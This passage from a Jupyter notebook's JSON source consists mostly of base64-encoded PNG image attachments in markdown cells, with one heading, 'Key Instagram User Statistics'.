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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Key Instagram User Statistics" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABW4AAAMNCAYAAAAIhO3QAAAgAElEQVR4AeTd148d1/4l9vuP/MbGjAEPZtTN2DnnnBNzErNIihKDSIlBFCWSIpXIzjmcPrkTc845U7rPfhr4ZR4Ne2B4DCxj7V27aledqtPnNKk7D77AF7tSd9/w9rlL6/uP1rYPcJvVa/7C+g3/xNq1f6Gt7YM5HR1/Yv36f2LDhn9i1ao/0dpqvWtrew8xre/R1voe7Qucjtb3kPMOHa3v0N7yDmtXfcCm9X9i/ZoP4hmfc1a0vcOGNX+Kd2tXfkBH8zusaHGbt+hofou1K97j83UfsGntB6xq43dvxaxseYuNq99j87oP2LDqPXgff95gZYucVS1vYE7zG6xKdJreYF3bW2xd+x5b1rzD2tY3WN382pxNK/nuHTavfmc+U+/XNL+GOU2vsa71Dbaufodta95hQ9sbrG58hTVNcja2v8G2NW+xZdVbrGt+jbVNr5Kcl1jXlMA0vsQ6Y9Y3vcS2VW+wffUbbG5/hXUNL7Ge7xpe4vPWl9i+6rWYjc18/sJ1NjS+AGfbitfYufo1tna8Evfq+aaWl9ix6pWYzS0vsKH+OTY0yNnY8BwLmU0NzxBvNtY/w46OF9i16qU49W+3ND7DrhUvsHvlC2xreYZNdU/xeb33bG99Lr79YsULbG60vtvc8BS7Ol5gz8oX2Nn2DJvrnyQ8W+qfIP48xpZ6l6l7jJ1NT7F3xXN82fEc2xueYGvdY3N2tz0T73hurVXPH2Fr3SNs06f2EXY2PsbejmdieK2/39XyBF+teIYv259ie/0jbK8zpvYRttc+THh21D7E/PMAO2of4Iv6h/i644mY3U2PsLPmAXbWPsCOmgfY0/wI+zqeYF/7E3xR+0C+43uX2VV7H/vaHuFAx2PsbX6IL2ruy6m+jz0ND7C//bGYPfUPsLPaeFdzH7tc5x521RhTfQ+7PGZ39T3EmwMtD/FN+yPsa36A3dV35VTdxd66e/im7SEOtT/EV/X3sLvqLvZUuwyfV93F/sYHONT2EAebH+DLqjvm7K2+g4MtfPcA+xru4ctK653+Ha/3es5t7